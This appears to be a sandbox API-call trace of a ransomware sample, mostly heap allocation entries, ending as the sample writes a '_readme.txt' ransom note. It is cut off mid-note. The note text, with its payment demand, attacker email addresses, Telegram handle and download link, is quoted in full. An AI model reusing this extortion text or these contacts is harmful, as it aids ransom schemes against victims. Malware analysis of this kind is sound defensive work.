Size=0x20) returned 0x3076d78 [0124.525] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.525] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.525] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.525] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.525] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.525] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.525] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.525] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.525] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.525] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.525] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.525] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.525] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.525] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.526] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.526] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.526] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.526] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.526] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.526] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.526] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.526] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.526] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.526] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.526] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.526] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.526] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.526] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.526] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.526] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.527] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.527] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.528] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.528] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.528] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.528] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.528] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.528] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.528] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.528] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.528] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.528] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.528] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.528] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.528] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.528] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.528] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.529] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.529] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.529] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.529] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.529] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.529] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.529] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.529] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.529] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.529] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.529] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.529] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.529] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.529] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.529] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.529] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.529] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.530] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.530] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.531] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.531] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.531] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.531] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.531] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.531] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.531] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.531] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.531] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.531] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.531] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.531] PathFindFileNameW (pszPath="C:\\Boot\\Fonts\\") returned="Fonts\\" [0124.531] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.531] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.531] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.531] PathFindFileNameW (pszPath="") returned="" [0124.532] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.532] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.532] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.532] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.532] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.532] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.532] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.532] PathAppendW (in: pszPath="C:\\Boot\\Fonts\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 1 [0124.532] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.532] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.532] PathFileExistsW (pszPath="C:\\Boot\\Fonts\\_readme.txt") returned 0 [0124.533] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.533] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and 